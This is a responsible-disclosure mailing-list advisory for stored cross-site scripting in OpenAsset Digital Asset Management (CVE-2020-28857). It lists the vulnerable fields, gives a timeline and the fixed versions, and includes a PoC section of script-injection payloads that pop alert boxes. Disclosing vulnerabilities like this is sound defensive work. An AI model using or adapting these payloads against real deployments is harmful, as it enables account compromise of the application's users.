full-disclosure - [FD] Stored cross-site scripting (XSS) in OpenAsset Digital Asset Management 11.2.1/12.0.19 disclosure

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Message-ID: <SYBPR01MB4252DFB77F65098C8E85889280CB0@SYBPR01MB4252.ausprd01.prod.outlook.com>
Date: Thu, 10 Dec 2020 07:58:14 +0000
From: Jack Misiura via Fulldisclosure <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Stored cross-site scripting (XSS) in OpenAsset Digital Asset
 Management 11.2.1/12.0.19 disclosure

Title: Stored cross-site scripting (XSS)

Product: OpenAsset Digital Asset Management by OpenAsset

Vendor Homepage: https://www.openasset.com/

Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)

Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)

CVE Number: CVE-2020-28857

Author: Jack Misiura from The Missing Link 

Website: https://www.themissinglink.com.au

Timeline:

2020-11-14 Disclosed to Vendor

2020-12-04 Vendor releases final patches

2020-12-10 Publication

1. Vulnerability Description

The OpenAsset Digital Asset Management web application allowed for stored cross-site scripting attacks against various parameters and endpoints. Vulnerable parts of the web application include:

* System Preferences

              * Project Code regex field

              * User name regex field

              * Password regex field

              * All three description fields

              * First Album Name field

              * Visit Items Per SOAP request field

* Categories description

* Keywords, triggered on deletion attempts

* Editing photographer name

* Access token name

* Web share name

2. PoC

For system preferences fields, the following payloads can be used:

" autofocus onfocus="alert('Stored XSS');" abc="

"><script>alert("Script stored XSS");</script>

For categories description:

Category Name Goes Here<script>alert('Description stored XSS');</script>

For keywords:

Delete Me<script>alert(1234);</script>

Photographer name:

John Smith<script>alert("XSS Attack!");</script>

Access token name:

TokenName"><script>alert("Stored XSS Tokens")</script>

Web share name:

Share<script>alert("Stored XSS Web Share Name");</script>

3. Solution

The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.

4. Advisory URL

https://www.themissinglink.com.au/security-advisories

Jack Misiura

Application Security Consultant

a

9‑11 Dickson Avenue

Artarmon

NSW

2064

p

1300 865 865

os

+61 2 8436 8585

w

 <https://www.themissinglink.com.au/> themissinglink.com.au

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